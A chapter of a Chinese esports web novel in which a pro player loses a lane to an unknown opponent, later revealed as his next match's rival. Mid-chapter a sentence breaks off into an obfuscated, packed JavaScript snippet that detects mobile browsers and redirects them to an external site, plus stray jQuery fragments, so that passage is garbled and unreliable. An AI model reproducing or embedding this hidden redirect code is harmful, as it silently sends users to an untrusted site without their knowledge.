几日后。
梁恒起床下楼,打着哈气走进空荡荡的训练室。
开电脑,选英雄,去厕所放完水,回来看到对面绿油油的英雄,怀疑自己还在做梦。
【鬼祟】,一具有多段位移的刺客型角色,长发覆面,瘦削弓背,手持一把爪刀,外形看着像苔藓一样阴暗。
其技能相当符合“刺客”的设定——被动【来无影】在特定条件下提升攻击距离与移动速度,大招【去无踪】可向前挥洒一片迷雾,缩短敌方视野半径且自身在迷雾中获得【隐身】效果。
刚上线时因其华丽的技能特性备受路人王操作怪们的好评,教学视频一度火爆全网。但很快被惨遭设计师毒手,几刀砍成了手短,身板脆,技能CD时间长的“下水道英雄”,在高分局逐渐销声匿迹。
梁恒有听井槿说过这英雄新版本微微加强,但还远远不到能上比赛的梯级,自己打排位也很久没遇到,顿觉对面挺有意思。
明明是后手出,有大把更counter的英雄可以选,却偏偏选这么个又冷又弱的英雄,可见他要么是在摆烂,要么是对自己很自信。
梁恒坐直身体,稍作思考,勾了个回血消耗流的天赋印痕提升前期对线能力,一进游戏便悄悄躲进前草,迫不及待想给对方“上一课”。
但对面似乎与平常遇到的那些“装杯绝活哥”不同,知道自己刚开始不占优势,规矩躲在小兵后侧常规上线,反倒没给梁恒第一波卡位消耗的机会。
梁恒遗憾离开前草,回归常规开局,双方你来我往一波兵线拉扯之后,各耗半管血量拉开。
梁恒伺机而动,再找机会,突变节奏,向左撤两步猛得接向右跳斩。
砍刀攻击范围修长,在空中划出一道长圆弧,饶是【鬼祟】已提前预判拉开一小段距离也不足以完全避开,血量瞬间掉到空剩一格,转身窜至角落。
梁恒本想一追到底,突然想起教练的提醒。
对线切忌冒进。
这句反复强调的话此刻起了作用,他强迫自己耐住性子,收刀掉头A兵回血,静等技能CD。
事实证明这个判断是对的。
被逼到夹缝的【鬼祟】果然一波反套路,猛地从视野边缘突进而出,吓得梁恒一个激灵。
他似乎对自己危险的血条全然不觉,手中的爪刀在空气中划出一道森绿的虚影,一刀还以颜色,割去梁恒大半格血条。
被动顷刻触发,平A距离瞬间延长1.5倍,下一刀正对梁恒的喉咙。
好在之前拉开的距离够远。梁恒职业选手级别的反应让他能在第二时间冷静下来,立刻反向走位进草,利用视野差将将卡掉【鬼祟】的致命平A。
双方血条均所剩无几,胜负现在只剩一个判断的差距。
看来对面是个高手。
梁恒站在草里,心有余悸但又暗自庆幸。现在对方在明,自己在暗,总算还握着主动权。
他在草丛来回逡巡保持手感,目光紧盯着那道幽绿色的身影,等他向小兵靠近动作漏出的破绽。
就是现在!
梁恒跳斩出草带起一阵劲风,卡住对方补刀僵直的瞬间。
【鬼祟】却以垂直角度倏接闪现,反拉开身位后瞬接猛地向前一段突刺。
梁恒的刀刃堪堪蹭过一道残影,有伤害却不致命,那20不到的血量甚至经不住一下平A,但对方仿佛将勇气也计算在血量之内。
他不退反进,反预判了梁恒落到撤退道路上的刀刃,手持爪刀拉出一道锐利的半圆。
梁恒被拽入其中,技能真空,甚至来不及交闪,只感觉脖颈一勒,屏幕一黑,胜负已定。对方已经顶着16滴血,翩然离开。
中计了。
梁恒摸索拿起手边的运动饮料灌了一口,平复心情,细细回想两人的对线细节。
这人是故意的。
尽管残血陷入绝境,他却定性极佳,甚至有心思立刻组织出一场精美的骗局,让自己直到被击杀的前一秒都还保留着胜券在握的错觉。
梁恒下意识TAB一下,想知道对面的ID。
工作日午间高分段排位人选其实非常固定,轻易也不喜欢改名,很容易彼此混个脸熟,但梁恒却对这个ID毫无印象。
看来对方既不是高分路人,也不是网红主播,那么多半——是个跟自己一样,新赛季领了新职业号的选手。
梁恒皱眉。
SCC联盟每赛季都会根据俱乐部大名单给队伍分配“职业号”。
这些号不仅有特殊ID角标,全套英雄皮肤,还被初始设置由钻石开始排位,免去了选手开小号从头打的麻烦。
不过这一切当然也有“代价”。
首先就是这些号一赛季一更新,且只有SCC大名单选手可以获得,且明令禁止转让售卖;其次,这些职业号的每一场排位录像均会被后台抓取并上传至论坛直播专栏用于随时回看。
这个专栏现在的用处非常微妙。
建立之初当然是为了方便路人玩家学习上分技巧,但后来逐渐发展成粉丝二创剪辑素材库,以及选手人气检测工具。
在这里你可以看到所有选手或精彩或下饭的操作,如果和明星选手撞车,热度更是瞬间爆炸,比如AWAY某次排位撞车五职业拿下17杀的视频就已经顶着300W+的播放量,被刷成了首页“必看精品”。
对方如果真的是职业,最好是跟自己一样是个默默无闻的二流选手,梁恒祈祷。
不然换个流量大的,刚才的单杀片段绝对要被剪成集锦挂在网上嘲一个月。
英雄复活。梁恒结束胡思乱想,再次从家出发。
左下队内聊天框已经因为他刚才的怒送一血的操作而热闹起来,各种“三字经”正在高速滚动。
梁恒告诉自己不要在意,同时PIN信号
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16365363|176285||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
给自家正在刷上半野区的打野,示意对方帮自己gank一波,以免对线劣势越滚越大。
队内打野还算理性,知道这把不帮上路也很难打,听话朝上路走去。
【鬼祟】兵线向前推,梁恒先一步上前消耗留人,打野则从河道绕行堵住【鬼祟】的撤退的后路线,形成二包一的局面。
有了上一波的经验,梁恒处理得更加小心谨慎,宁愿被多耗血也要卡住对方走位。
眼见【鬼祟】技能真空,打野立刻现身,梁恒紧跟技能封住对方的逃跑路线,但【鬼祟】却一反常态,绕着圈和梁恒悠哉补兵,甚至主动把自己绕到了对方塔下。
他要干什么?
知道要死了,吃两个兵开心一下?
不,他要升六了!
梁恒意识到的瞬间果断拉开,路人打野则就显得不那么敏锐。
下一秒。
青绿色的迷雾迅速散成一片扇形的区域,将打野淹没其中。
其实第一时间伤害是不够的,但打野明显已经乱了分寸,若是有队内语音,梁恒尚且提醒对方稳住心态,和自己配合衔接,但排位单兵作战则全靠自我调节。
【鬼祟】就像有上帝视角,敏锐捕捉到两人心态脆弱的一方,先手持爪刀悄无声息地靠近打野,伴随着快到仿若分身的连招,一套直接清空了打野半截血条。紧接着,蓦地转身,出雾划出一片针状的虚影,飞到了梁恒的脸上。
多耗的血量成为了伏笔,梁恒单人面对升六的【鬼祟】几乎没有了操作的空间,尽管靠走位多续了两秒的命,但最终难逃手起刀落被带走的命运。
DOUBLE KILL!KILLING SPREE!
伴随着机械音提示双杀落袋,【鬼祟】凭借几乎完美的两波操作,KDA来到华丽的3-0-0。
一对一被单杀。二包一被杀两个。
队友的心态和上路局势一起崩盘。
打野只是懒得再来,其他人就没这么“温和”了。
对话框的***符号一波接着一波,骂战在摇摇欲坠的局势中不断升级。紧接着,AD跳舞,辅助亮标,中单更是直接开始送塔,所有人一副群魔乱舞不想活的姿态。
梁恒无比怀念自家四个心态稳定的队友,叹了口气,15分钟准时跟点了投降。
巨大的【失败】动画结束后,游戏进入结算界面。
梁恒鼠标移动到【鬼祟】的头像上。果然,ID卡上出现一个金色的【PRO】角标,这是职业号的标志。
他迟疑半秒,点进主页——
【ID:喂喂喂】
【认证:SCC职业选手陈正维/LOG-WAKE(TOP)】
陈正维,LOG的今年的首发上单,一个跟自己一样不太出名的选手。
梁恒没什么印象,但却明确知道一点。
这是自己下场比赛的对手。